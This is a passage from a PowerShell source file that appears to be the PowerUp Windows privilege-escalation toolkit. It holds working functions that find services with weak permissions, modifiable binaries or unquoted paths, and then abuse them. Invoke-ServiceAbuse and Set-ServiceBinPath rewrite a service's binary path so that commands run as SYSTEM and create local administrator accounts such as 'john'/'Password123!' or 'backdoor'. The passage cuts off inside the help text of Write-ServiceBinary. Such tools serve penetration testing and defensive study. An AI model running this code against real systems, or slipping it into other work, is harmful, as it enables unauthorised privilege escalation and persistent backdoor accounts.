998 $GroupSid = New-Object PSObject
999 $GroupSid | Add-Member Noteproperty 'SID' $SidString
1000 # cast the atttributes field as our SidAttributes enum
1001 $GroupSid | Add-Member Noteproperty 'Attributes' ($TokenGroups.Groups[$i].Attributes -as $SidAttributes)
1002 $GroupSid
1003 }
1004 }
1005 }
1006 else {
1007 Write-Warning ([ComponentModel.Win32Exception] $LastError)
1008 }
1009 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenGroupsPtr)
1010 }
1011 else {
1012 Write-Warning ([ComponentModel.Win32Exception] $LastError)
1013 }
1014}
1015
1016
1017function Add-ServiceDacl {
1018<#
1019 .SYNOPSIS
1020
1021 Adds a Dacl field to a service object returned by Get-Service.
1022
1023 Author: Matthew Graeber (@mattifestation)
1024 License: BSD 3-Clause
1025
1026 .DESCRIPTION
1027
1028 Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a
1029 Dacl field to each object. It does this by opening a handle with ReadControl for the
1030 service with using the GetServiceHandle Win32 API call and then uses
1031 QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service.
1032
1033 .PARAMETER Name
1034
1035 An array of one or more service names to add a service Dacl for. Passable on the pipeline.
1036
1037 .EXAMPLE
1038
1039 PS C:\> Get-Service | Add-ServiceDacl
1040
1041 Add Dacls for every service the current user can read.
1042
1043 .EXAMPLE
1044
1045 PS C:\> Get-Service -Name VMTools | Add-ServiceDacl
1046
1047 Add the Dacl to the VMTools service object.
1048
1049 .OUTPUTS
1050
1051 ServiceProcess.ServiceController
1052
1053 .LINK
1054
1055 https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/
1056#>
1057
1058 [OutputType('ServiceProcess.ServiceController')]
1059 param (
1060 [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
1061 [Alias('ServiceName')]
1062 [String[]]
1063 [ValidateNotNullOrEmpty()]
1064 $Name
1065 )
1066
1067 BEGIN {
1068 filter Local:Get-ServiceReadControlHandle {
1069 [OutputType([IntPtr])]
1070 param (
1071 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
1072 [ValidateNotNullOrEmpty()]
1073 [ValidateScript({ $_ -as 'ServiceProcess.ServiceController' })]
1074 $Service
1075 )
1076
1077 $GetServiceHandle = [ServiceProcess.ServiceController].GetMethod('GetServiceHandle', [Reflection.BindingFlags] 'Instance, NonPublic')
1078
1079 $ReadControl = 0x00020000
1080
1081 $RawHandle = $GetServiceHandle.Invoke($Service, @($ReadControl))
1082
1083 $RawHandle
1084 }
1085 }
1086
1087 PROCESS {
1088 ForEach($ServiceName in $Name) {
1089
1090 $IndividualService = Get-Service -Name $ServiceName -ErrorAction Stop
1091
1092 try {
1093 Write-Verbose "Add-ServiceDacl IndividualService : $($IndividualService.Name)"
1094 $ServiceHandle = Get-ServiceReadControlHandle -Service $IndividualService
1095 }
1096 catch {
1097 $ServiceHandle = $Null
1098 Write-Verbose "Error opening up the service handle with read control for $($IndividualService.Name) : $_"
1099 }
1100
1101 if ($ServiceHandle -and ($ServiceHandle -ne [IntPtr]::Zero)) {
1102 $SizeNeeded = 0
1103
1104 $Result = $Advapi32::QueryServiceObjectSecurity($ServiceHandle, [Security.AccessControl.SecurityInfos]::DiscretionaryAcl, @(), 0, [Ref] $SizeNeeded);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
1105
1106 # 122 == The data area passed to a system call is too small
1107 if ((-not $Result) -and ($LastError -eq 122) -and ($SizeNeeded -gt 0)) {
1108 $BinarySecurityDescriptor = New-Object Byte[]($SizeNeeded)
1109
1110 $Result = $Advapi32::QueryServiceObjectSecurity($ServiceHandle, [Security.AccessControl.SecurityInfos]::DiscretionaryAcl, $BinarySecurityDescriptor, $BinarySecurityDescriptor.Count, [Ref] $SizeNeeded);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
1111
1112 if (-not $Result) {
1113 Write-Error ([ComponentModel.Win32Exception] $LastError)
1114 }
1115 else {
1116 $RawSecurityDescriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $BinarySecurityDescriptor, 0
1117 $Dacl = $RawSecurityDescriptor.DiscretionaryAcl | ForEach-Object {
1118 Add-Member -InputObject $_ -MemberType NoteProperty -Name AccessRights -Value ($_.AccessMask -as $ServiceAccessRights) -PassThru
1119 }
1120
1121 Add-Member -InputObject $IndividualService -MemberType NoteProperty -Name Dacl -Value $Dacl -PassThru
1122 }
1123 }
1124 else {
1125 Write-Error ([ComponentModel.Win32Exception] $LastError)
1126 }
1127
1128 $Null = $Advapi32::CloseServiceHandle($ServiceHandle)
1129 }
1130 }
1131 }
1132}
1133
1134
1135function Set-ServiceBinPath {
1136<#
1137 .SYNOPSIS
1138
1139 Sets the binary path for a service to a specified value.
1140
1141 Author: @harmj0y, Matthew Graeber (@mattifestation)
1142 License: BSD 3-Clause
1143
1144 .DESCRIPTION
1145
1146 Takes a service Name or a ServiceProcess.ServiceController on the pipeline and first opens up a
1147 service handle to the service with ConfigControl access using the GetServiceHandle
1148 Win32 API call. ChangeServiceConfig is then used to set the binary path (lpBinaryPathName/binPath)
1149 to the string value specified by binPath, and the handle is closed off.
1150
1151 Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a
1152 Dacl field to each object. It does this by opening a handle with ReadControl for the
1153 service with using the GetServiceHandle Win32 API call and then uses
1154 QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service.
1155
1156 .PARAMETER Name
1157
1158 An array of one or more service names to set the binary path for. Required.
1159
1160 .PARAMETER binPath
1161
1162 The new binary path (lpBinaryPathName) to set for the specified service. Required.
1163
1164 .OUTPUTS
1165
1166 $True if configuration succeeds, $False otherwise.
1167
1168 .EXAMPLE
1169
1170 PS C:\> Set-ServiceBinPath -Name VulnSvc -BinPath 'net user john Password123! /add'
1171
1172 Sets the binary path for 'VulnSvc' to be a command to add a user.
1173
1174 .EXAMPLE
1175
1176 PS C:\> Get-Service VulnSvc | Set-ServiceBinPath -BinPath 'net user john Password123! /add'
1177
1178 Sets the binary path for 'VulnSvc' to be a command to add a user.
1179
1180 .LINK
1181
1182 https://msdn.microsoft.com/en-us/library/windows/desktop/ms681987(v=vs.85).aspx
1183#>
1184
1185 param (
1186 [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
1187 [Alias('ServiceName')]
1188 [String[]]
1189 [ValidateNotNullOrEmpty()]
1190 $Name,
1191
1192 [Parameter(Position=1, Mandatory=$True)]
1193 [String]
1194 [ValidateNotNullOrEmpty()]
1195 $binPath
1196 )
1197
1198 BEGIN {
1199 filter Local:Get-ServiceConfigControlHandle {
1200 [OutputType([IntPtr])]
1201 param (
1202 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
1203 [ServiceProcess.ServiceController]
1204 [ValidateNotNullOrEmpty()]
1205 $TargetService
1206 )
1207
1208 $GetServiceHandle = [ServiceProcess.ServiceController].GetMethod('GetServiceHandle', [Reflection.BindingFlags] 'Instance, NonPublic')
1209
1210 $ConfigControl = 0x00000002
1211
1212 $RawHandle = $GetServiceHandle.Invoke($TargetService, @($ConfigControl))
1213
1214 $RawHandle
1215 }
1216 }
1217
1218 PROCESS {
1219
1220 ForEach($IndividualService in $Name) {
1221
1222 $TargetService = Get-Service -Name $IndividualService -ErrorAction Stop
1223 try {
1224 $ServiceHandle = Get-ServiceConfigControlHandle -TargetService $TargetService
1225 }
1226 catch {
1227 $ServiceHandle = $Null
1228 Write-Verbose "Error opening up the service handle with read control for $IndividualService : $_"
1229 }
1230
1231 if ($ServiceHandle -and ($ServiceHandle -ne [IntPtr]::Zero)) {
1232
1233 $SERVICE_NO_CHANGE = [UInt32]::MaxValue
1234
1235 $Result = $Advapi32::ChangeServiceConfig($ServiceHandle, $SERVICE_NO_CHANGE, $SERVICE_NO_CHANGE, $SERVICE_NO_CHANGE, "$binPath", [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
1236
1237 if ($Result -ne 0) {
1238 Write-Verbose "binPath for $IndividualService successfully set to '$binPath'"
1239 $True
1240 }
1241 else {
1242 Write-Error ([ComponentModel.Win32Exception] $LastError)
1243 $Null
1244 }
1245
1246 $Null = $Advapi32::CloseServiceHandle($ServiceHandle)
1247 }
1248 }
1249 }
1250}
1251
1252
1253function Test-ServiceDaclPermission {
1254<#
1255 .SYNOPSIS
1256
1257 Tests one or more passed services or service names against a given permission set,
1258 returning the service objects where the current user have the specified permissions.
1259
1260 Author: @harmj0y, Matthew Graeber (@mattifestation)
1261 License: BSD 3-Clause
1262
1263 .DESCRIPTION
1264
1265 Takes a service Name or a ServiceProcess.ServiceController on the pipeline, and first adds
1266 a service Dacl to the service object with Add-ServiceDacl. All group SIDs for the current
1267 user are enumerated services where the user has some type of permission are filtered. The
1268 services are then filtered against a specified set of permissions, and services where the
1269 current user have the specified permissions are returned.
1270
1271 .PARAMETER Name
1272
1273 An array of one or more service names to test against the specified permission set.
1274
1275 .PARAMETER Permissions
1276
1277 A manual set of permission to test again. One of:'QueryConfig', 'ChangeConfig', 'QueryStatus',
1278 'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', UserDefinedControl',
1279 'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity',
1280 'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess'
1281
1282 .PARAMETER PermissionSet
1283
1284 A pre-defined permission set to test a specified service against. 'ChangeConfig', 'Restart', or 'AllAccess'.
1285
1286 .OUTPUTS
1287
1288 ServiceProcess.ServiceController
1289
1290 .EXAMPLE
1291
1292 PS C:\> Get-Service | Test-ServiceDaclPermission
1293
1294 Return all service objects where the current user can modify the service configuration.
1295
1296 .EXAMPLE
1297
1298 PS C:\> Get-Service | Test-ServiceDaclPermission -PermissionSet 'Restart'
1299
1300 Return all service objects that the current user can restart.
1301
1302
1303 .EXAMPLE
1304
1305 PS C:\> Test-ServiceDaclPermission -Permissions 'Start' -Name 'VulnSVC'
1306
1307 Return the VulnSVC object if the current user has start permissions.
1308
1309 .LINK
1310
1311 https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/
1312#>
1313
1314 [OutputType('ServiceProcess.ServiceController')]
1315 param (
1316 [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
1317 [Alias('ServiceName')]
1318 [String[]]
1319 [ValidateNotNullOrEmpty()]
1320 $Name,
1321
1322 [String[]]
1323 [ValidateSet('QueryConfig', 'ChangeConfig', 'QueryStatus', 'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', 'UserDefinedControl', 'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity', 'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess')]
1324 $Permissions,
1325
1326 [String]
1327 [ValidateSet('ChangeConfig', 'Restart', 'AllAccess')]
1328 $PermissionSet = 'ChangeConfig'
1329 )
1330
1331 BEGIN {
1332 $AccessMask = @{
1333 'QueryConfig' = [uint32]'0x00000001'
1334 'ChangeConfig' = [uint32]'0x00000002'
1335 'QueryStatus' = [uint32]'0x00000004'
1336 'EnumerateDependents' = [uint32]'0x00000008'
1337 'Start' = [uint32]'0x00000010'
1338 'Stop' = [uint32]'0x00000020'
1339 'PauseContinue' = [uint32]'0x00000040'
1340 'Interrogate' = [uint32]'0x00000080'
1341 'UserDefinedControl' = [uint32]'0x00000100'
1342 'Delete' = [uint32]'0x00010000'
1343 'ReadControl' = [uint32]'0x00020000'
1344 'WriteDac' = [uint32]'0x00040000'
1345 'WriteOwner' = [uint32]'0x00080000'
1346 'Synchronize' = [uint32]'0x00100000'
1347 'AccessSystemSecurity' = [uint32]'0x01000000'
1348 'GenericAll' = [uint32]'0x10000000'
1349 'GenericExecute' = [uint32]'0x20000000'
1350 'GenericWrite' = [uint32]'0x40000000'
1351 'GenericRead' = [uint32]'0x80000000'
1352 'AllAccess' = [uint32]'0x000F01FF'
1353 }
1354
1355 $CheckAllPermissionsInSet = $False
1356
1357 if($PSBoundParameters['Permissions']) {
1358 $TargetPermissions = $Permissions
1359 }
1360 else {
1361 if($PermissionSet -eq 'ChangeConfig') {
1362 $TargetPermissions = @('ChangeConfig', 'WriteDac', 'WriteOwner', 'GenericAll', ' GenericWrite', 'AllAccess')
1363 }
1364 elseif($PermissionSet -eq 'Restart') {
1365 $TargetPermissions = @('Start', 'Stop')
1366 $CheckAllPermissionsInSet = $True # so we check all permissions && style
1367 }
1368 elseif($PermissionSet -eq 'AllAccess') {
1369 $TargetPermissions = @('GenericAll', 'AllAccess')
1370 }
1371 }
1372 }
1373
1374 PROCESS {
1375
1376 ForEach($IndividualService in $Name) {
1377
1378 $TargetService = $IndividualService | Add-ServiceDacl
1379
1380 if($TargetService -and $TargetService.Dacl) {
1381
1382 # enumerate all group SIDs the current user is a part of
1383 $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
1384 $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value
1385 $CurrentUserSids += $UserIdentity.User.Value
1386
1387 ForEach($ServiceDacl in $TargetService.Dacl) {
1388 if($CurrentUserSids -contains $ServiceDacl.SecurityIdentifier) {
1389
1390 if($CheckAllPermissionsInSet) {
1391 $AllMatched = $True
1392 ForEach($TargetPermission in $TargetPermissions) {
1393 # check permissions && style
1394 if (($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -ne $AccessMask[$TargetPermission]) {
1395 # Write-Verbose "Current user doesn't have '$TargetPermission' for $($TargetService.Name)"
1396 $AllMatched = $False
1397 break
1398 }
1399 }
1400 if($AllMatched) {
1401 $TargetService
1402 }
1403 }
1404 else {
1405 ForEach($TargetPermission in $TargetPermissions) {
1406 # check permissions || style
1407 if (($ServiceDacl.AceType -eq 'AccessAllowed') -and ($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -eq $AccessMask[$TargetPermission]) {
1408 Write-Verbose "Current user has '$TargetPermission' for $IndividualService"
1409 $TargetService
1410 break
1411 }
1412 }
1413 }
1414 }
1415 }
1416 }
1417 else {
1418 Write-Verbose "Error enumerating the Dacl for service $IndividualService"
1419 }
1420 }
1421 }
1422}
1423
1424
1425########################################################
1426#
1427# Service enumeration
1428#
1429########################################################
1430
1431function Get-ServiceUnquoted {
1432<#
1433 .SYNOPSIS
1434
1435 Returns the name and binary path for services with unquoted paths
1436 that also have a space in the name.
1437
1438 .EXAMPLE
1439
1440 PS C:\> $services = Get-ServiceUnquoted
1441
1442 Get a set of potentially exploitable services.
1443
1444 .LINK
1445
1446 https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb
1447#>
1448 [CmdletBinding()] param()
1449
1450 # find all paths to service .exe's that have a space in the path and aren't quoted
1451 $VulnServices = Get-WmiObject -Class win32_service | Where-Object {$_} | Where-Object {($_.pathname -ne $null) -and ($_.pathname.trim() -ne '')} | Where-Object { (-not $_.pathname.StartsWith("`"")) -and (-not $_.pathname.StartsWith("'"))} | Where-Object {($_.pathname.Substring(0, $_.pathname.ToLower().IndexOf(".exe") + 4)) -match ".* .*"}
1452
1453 if ($VulnServices) {
1454 ForEach ($Service in $VulnServices) {
1455
1456 $ModifiableFiles = $Service.pathname.split(' ') | Get-ModifiablePath
1457
1458 $ModifiableFiles | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object {
1459 $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name
1460
1461 if($ServiceRestart) {
1462 $CanRestart = $True
1463 }
1464 else {
1465 $CanRestart = $False
1466 }
1467
1468 $Out = New-Object PSObject
1469 $Out | Add-Member Noteproperty 'ServiceName' $Service.name
1470 $Out | Add-Member Noteproperty 'Path' $Service.pathname
1471 $Out | Add-Member Noteproperty 'ModifiablePath' $_
1472 $Out | Add-Member Noteproperty 'StartName' $Service.startname
1473 $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -Name '$($Service.name)' -Path <HijackPath>"
1474 $Out | Add-Member Noteproperty 'CanRestart' $CanRestart
1475 $Out
1476 }
1477 }
1478 }
1479}
1480
1481
1482function Get-ModifiableServiceFile {
1483<#
1484 .SYNOPSIS
1485
1486 Enumerates all services and returns vulnerable service files.
1487
1488 .DESCRIPTION
1489
1490 Enumerates all services by querying the WMI win32_service class. For each service,
1491 it takes the pathname (aka binPath) and passes it to Get-ModifiablePath to determine
1492 if the current user has rights to modify the service binary itself or any associated
1493 arguments. If the associated binary (or any configuration files) can be overwritten,
1494 privileges may be able to be escalated.
1495
1496 .EXAMPLE
1497
1498 PS C:\> Get-ModifiableServiceFile
1499
1500 Get a set of potentially exploitable service binares/config files.
1501#>
1502 [CmdletBinding()] param()
1503
1504 Get-WMIObject -Class win32_service | Where-Object {$_ -and $_.pathname} | ForEach-Object {
1505
1506 $ServiceName = $_.name
1507 $ServicePath = $_.pathname
1508 $ServiceStartName = $_.startname
1509
1510 $ServicePath | Get-ModifiablePath | ForEach-Object {
1511
1512 $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $ServiceName
1513
1514 if($ServiceRestart) {
1515 $CanRestart = $True
1516 }
1517 else {
1518 $CanRestart = $False
1519 }
1520
1521 $Out = New-Object PSObject
1522 $Out | Add-Member Noteproperty 'ServiceName' $ServiceName
1523 $Out | Add-Member Noteproperty 'Path' $ServicePath
1524 $Out | Add-Member Noteproperty 'ModifiableFile' $_.ModifiablePath
1525 $Out | Add-Member Noteproperty 'ModifiableFilePermissions' $_.Permissions
1526 $Out | Add-Member Noteproperty 'ModifiableFileIdentityReference' $_.IdentityReference
1527 $Out | Add-Member Noteproperty 'StartName' $ServiceStartName
1528 $Out | Add-Member Noteproperty 'AbuseFunction' "Install-ServiceBinary -Name '$ServiceName'"
1529 $Out | Add-Member Noteproperty 'CanRestart' $CanRestart
1530 $Out
1531 }
1532 }
1533}
1534
1535
1536function Get-ModifiableService {
1537<#
1538 .SYNOPSIS
1539
1540 Enumerates all services and returns services for which the current user can modify the binPath.
1541
1542 .DESCRIPTION
1543
1544 Enumerates all services using Get-Service and uses Test-ServiceDaclPermission to test if
1545 the current user has rights to change the service configuration.
1546
1547 .EXAMPLE
1548
1549 PS C:\> Get-ModifiableService
1550
1551 Get a set of potentially exploitable services.
1552#>
1553 [CmdletBinding()] param()
1554
1555 Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeConfig' | ForEach-Object {
1556
1557 $ServiceDetails = $_ | Get-ServiceDetail
1558
1559 $ServiceRestart = $_ | Test-ServiceDaclPermission -PermissionSet 'Restart'
1560
1561 if($ServiceRestart) {
1562 $CanRestart = $True
1563 }
1564 else {
1565 $CanRestart = $False
1566 }
1567
1568 $Out = New-Object PSObject
1569 $Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.name
1570 $Out | Add-Member Noteproperty 'Path' $ServiceDetails.pathname
1571 $Out | Add-Member Noteproperty 'StartName' $ServiceDetails.startname
1572 $Out | Add-Member Noteproperty 'AbuseFunction' "Invoke-ServiceAbuse -Name '$($ServiceDetails.name)'"
1573 $Out | Add-Member Noteproperty 'CanRestart' $CanRestart
1574 $Out
1575 }
1576}
1577
1578
1579function Get-ServiceDetail {
1580<#
1581 .SYNOPSIS
1582
1583 Returns detailed information about a specified service by querying the
1584 WMI win32_service class for the specified service name.
1585
1586 .DESCRIPTION
1587
1588 Takes an array of one or more service Names or ServiceProcess.ServiceController objedts on
1589 the pipeline object returned by Get-Service, extracts out the service name, queries the
1590 WMI win32_service class for the specified service for details like binPath, and outputs
1591 everything.
1592
1593 .PARAMETER Name
1594
1595 An array of one or more service names to query information for.
1596
1597 .EXAMPLE
1598
1599 PS C:\> Get-ServiceDetail -Name VulnSVC
1600
1601 Gets detailed information about the 'VulnSVC' service.
1602
1603 .EXAMPLE
1604
1605 PS C:\> Get-Service VulnSVC | Get-ServiceDetail
1606
1607 Gets detailed information about the 'VulnSVC' service.
1608#>
1609
1610 param (
1611 [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
1612 [Alias('ServiceName')]
1613 [String[]]
1614 [ValidateNotNullOrEmpty()]
1615 $Name
1616 )
1617
1618 PROCESS {
1619
1620 ForEach($IndividualService in $Name) {
1621
1622 $TargetService = Get-Service -Name $IndividualService
1623
1624 Get-WmiObject -Class win32_service -Filter "Name='$($TargetService.Name)'" | Where-Object {$_} | ForEach-Object {
1625 try {
1626 $_
1627 }
1628 catch{
1629 Write-Verbose "Error: $_"
1630 $null
1631 }
1632 }
1633 }
1634 }
1635}
1636
1637
1638########################################################
1639#
1640# Service abuse
1641#
1642########################################################
1643
1644function Invoke-ServiceAbuse {
1645<#
1646 .SYNOPSIS
1647
1648 Abuses a function the current user has configuration rights on in order
1649 to add a local administrator or execute a custom command.
1650
1651 Author: @harmj0y
1652 License: BSD 3-Clause
1653
1654 .DESCRIPTION
1655
1656 Takes a service Name or a ServiceProcess.ServiceController on the pipeline that the current
1657 user has configuration modification rights on and executes a series of automated actions to
1658 execute commands as SYSTEM. First, the service is enabled if it was set as disabled and the
1659 original service binary path and configuration state are preserved. Then the service is stopped
1660 and the Set-ServiceBinPath function is used to set the binary (binPath) for the service to a
1661 series of commands, the service is started, stopped, and the next command is configured. After
1662 completion, the original service configuration is restored and a custom object is returned
1663 that captures the service abused and commands run.
1664
1665 .PARAMETER Name
1666
1667 An array of one or more service names to abuse.
1668
1669 .PARAMETER UserName
1670
1671 The [domain\]username to add. If not given, it defaults to "john".
1672 Domain users are not created, only added to the specified localgroup.
1673
1674 .PARAMETER Password
1675
1676 The password to set for the added user. If not given, it defaults to "Password123!"
1677
1678 .PARAMETER LocalGroup
1679
1680 Local group name to add the user to (default of 'Administrators').
1681
1682 .PARAMETER Credential
1683
1684 A [Management.Automation.PSCredential] object specifying the user/password to add.
1685
1686 .PARAMETER Command
1687
1688 Custom command to execute instead of user creation.
1689
1690 .PARAMETER Force
1691
1692 Switch. Force service stopping, even if other services are dependent.
1693
1694 .EXAMPLE
1695
1696 PS C:\> Invoke-ServiceAbuse -Name VulnSVC
1697
1698 Abuses service 'VulnSVC' to add a localuser "john" with password
1699 "Password123! to the machine and local administrator group
1700
1701 .EXAMPLE
1702
1703 PS C:\> Get-Service VulnSVC | Invoke-ServiceAbuse
1704
1705 Abuses service 'VulnSVC' to add a localuser "john" with password
1706 "Password123! to the machine and local administrator group
1707
1708 .EXAMPLE
1709
1710 PS C:\> Invoke-ServiceAbuse -Name VulnSVC -UserName "TESTLAB\john"
1711
1712 Abuses service 'VulnSVC' to add a the domain user TESTLAB\john to the
1713 local adminisrtators group.
1714
1715 .EXAMPLE
1716
1717 PS C:\> Invoke-ServiceAbuse -Name VulnSVC -UserName backdoor -Password password -LocalGroup "Power Users"
1718
1719 Abuses service 'VulnSVC' to add a localuser "backdoor" with password
1720 "password" to the machine and local "Power Users" group
1721
1722 .EXAMPLE
1723
1724 PS C:\> Invoke-ServiceAbuse -Name VulnSVC -Command "net ..."
1725
1726 Abuses service 'VulnSVC' to execute a custom command.
1727#>
1728
1729 param (
1730 [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
1731 [Alias('ServiceName')]
1732 [String[]]
1733 [ValidateNotNullOrEmpty()]
1734 $Name,
1735
1736 [String]
1737 $UserName = 'john',
1738
1739 [String]
1740 $Password = 'Password123!',
1741
1742 [String]
1743 $LocalGroup = 'Administrators',
1744
1745 [Management.Automation.PSCredential]
1746 $Credential,
1747
1748 [String]
1749 [ValidateNotNullOrEmpty()]
1750 $Command,
1751
1752 [Switch]
1753 $Force
1754 )
1755
1756 BEGIN {
1757
1758 if($PSBoundParameters['Command']) {
1759 $ServiceCommands = @($Command)
1760 }
1761
1762 else {
1763 if($PSBoundParameters['Credential']) {
1764 $UserNameToAdd = $Credential.UserName
1765 $PasswordToAdd = $Credential.GetNetworkCredential().Password
1766 }
1767 else {
1768 $UserNameToAdd = $UserName
1769 $PasswordToAdd = $Password
1770 }
1771
1772 if($UserNameToAdd.Contains('\')) {
1773 # only adding a domain user to the local group, no user creation
1774 $ServiceCommands = @("net localgroup $LocalGroup $UserNameToAdd /add")
1775 }
1776 else {
1777 # create a local user and add it to the local specified group
1778 $ServiceCommands = @("net user $UserNameToAdd $PasswordToAdd /add", "net localgroup $LocalGroup $UserNameToAdd /add")
1779 }
1780 }
1781 }
1782
1783 PROCESS {
1784
1785 ForEach($IndividualService in $Name) {
1786
1787 $TargetService = Get-Service -Name $IndividualService
1788
1789 $ServiceDetails = $TargetService | Get-ServiceDetail
1790
1791 $RestoreDisabled = $False
1792 if ($ServiceDetails.StartMode -match 'Disabled') {
1793 Write-Verbose "Service '$(ServiceDetails.Name)' disabled, enabling..."
1794 $TargetService | Set-Service -StartupType Manual -ErrorAction Stop
1795 $RestoreDisabled = $True
1796 }
1797
1798 $OriginalServicePath = $ServiceDetails.PathName
1799 $OriginalServiceState = $ServiceDetails.State
1800
1801 Write-Verbose "Service '$($TargetService.Name)' original path: '$OriginalServicePath'"
1802 Write-Verbose "Service '$($TargetService.Name)' original state: '$OriginalServiceState'"
1803
1804 ForEach($ServiceCommand in $ServiceCommands) {
1805
1806 if($PSBoundParameters['Force']) {
1807 $TargetService | Stop-Service -Force -ErrorAction Stop
1808 }
1809 else {
1810 $TargetService | Stop-Service -ErrorAction Stop
1811 }
1812
1813 Write-Verbose "Executing command '$ServiceCommand'"
1814
1815 $Success = $TargetService | Set-ServiceBinPath -binPath "$ServiceCommand"
1816
1817 if (-not $Success) {
1818 throw "Error reconfiguring the binPath for $($TargetService.Name)"
1819 }
1820
1821 $TargetService | Start-Service -ErrorAction SilentlyContinue
1822 Start-Sleep -Seconds 2
1823 }
1824
1825 if($PSBoundParameters['Force']) {
1826 $TargetService | Stop-Service -Force -ErrorAction Stop
1827 }
1828 else {
1829 $TargetService | Stop-Service -ErrorAction Stop
1830 }
1831
1832 Write-Verbose "Restoring original path to service '$($TargetService.Name)'"
1833 Start-Sleep -Seconds 1
1834 $Success = $TargetService | Set-ServiceBinPath -binPath "$OriginalServicePath"
1835
1836 if (-not $Success) {
1837 throw "Error restoring the original binPath for $($TargetService.Name)"
1838 }
1839
1840 # try to restore the service to whatever the service's original state was
1841 if($RestoreDisabled) {
1842 Write-Verbose "Re-disabling service '$($TargetService.Name)'"
1843 $TargetService | Set-Service -StartupType Disabled -ErrorAction Stop
1844 }
1845 elseif($OriginalServiceState -eq "Paused") {
1846 Write-Verbose "Starting and then pausing service '$($TargetService.Name)'"
1847 $TargetService | Start-Service
1848 Start-Sleep -Seconds 1
1849 $TargetService | Set-Service -Status Paused -ErrorAction Stop
1850 }
1851 elseif($OriginalServiceState -eq "Stopped") {
1852 Write-Verbose "Leaving service '$($TargetService.Name)' in stopped state"
1853 }
1854 else {
1855 Write-Verbose "Restarting '$($TargetService.Name)'"
1856 $TargetService | Start-Service
1857 }
1858
1859 $Out = New-Object PSObject
1860 $Out | Add-Member Noteproperty 'ServiceAbused' $TargetService.Name
1861 $Out | Add-Member Noteproperty 'Command' $($ServiceCommands -join ' && ')
1862 $Out
1863 }
1864 }
1865}
1866
1867
1868function Write-ServiceBinary {
1869<#
1870 .SYNOPSIS
1871
1872 Patches in the specified command to a pre-compiled C# service executable and
1873 writes the binary out to the specified ServicePath location.
1874
1875 Author: @harmj0y
1876 License: BSD 3-Clause
1877
1878 .DESCRIPTION
1879
1880 Takes a pre-compiled C# service binary and patches in the appropriate commands needed
1881 for service abuse. If a -UserName/-Password or -Credential is specified, the command
1882 patched in creates a local user and adds them to the specified -LocalGroup, otherwise
1883 the specified -Command is patched in. The binary is then written out to the specified
1884 -ServicePath. Either -Name must be specified for the service, or a proper object from
1885 Get-Service must be passed on the pipeline in order to patch in the appropriate service
1886 name the binary will be running under.
1887
1888 .PARAMETER Name
1889
1890 The service name the EXE will be running under.
1891
1892 .PARAMETER UserName
1893
1894 The [domain\]username to add. If not given, it defaults to "john".
1895 Domain users are not created, only added to the specified localgroup.
1896
1897 .PARAMETER Password
1898
1899 The password to set for the added user. If not given, it defaults to "Password123!"
1900
1901 .PARAMETER LocalGroup
1902
1903 Local group name to add the user to (default of 'Administrators').
1904
1905 .PARAMETER Credential
1906
1907 A [Management.Automation.PSCredential] object specifying the user/password to add.
1908
1909 .PARAMETER Command
1910
1911 Custom command to execute instead of user creation.
1912
1913 .PARAMETER Path
1914
1915 Path to write the binary out to, defaults to 'service.exe' in the local directory.
1916
1917 .EXAMPLE
1918
1919 PS C:\> Write-ServiceBinary -Name VulnSVC
1920
1921 Writes a service binary to service.exe in the local directory for VulnSVC that
1922 adds a local Administrator (john/Password123!).
1923
1924 .EXAMPLE
1925
1926 PS C:\> Get-Service VulnSVC | Write-ServiceBinary
1927
1928 Writes a service binary to service.exe in the local directory for VulnSVC that
1929 adds a local Administrator (john/Password123!).
1930
1931 .EXAMPLE
1932
1933 PS C:\> Write-ServiceBinary -Name VulnSVC -UserName 'TESTLAB\john'
1934
1935 Writes a service binary to service.exe in the local directory for VulnSVC that adds
1936 TESTLAB\john to the Administrators local group.
1937
1938 .EXAMPLE
1939
1940 PS C:\> Write-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123!
1941
1942 Writes a service binary to service.exe in the local directory for VulnSVC that
1943 adds a local Administrator (backdoor/Password123!).
1944
1945 .EXAMPLE
1946
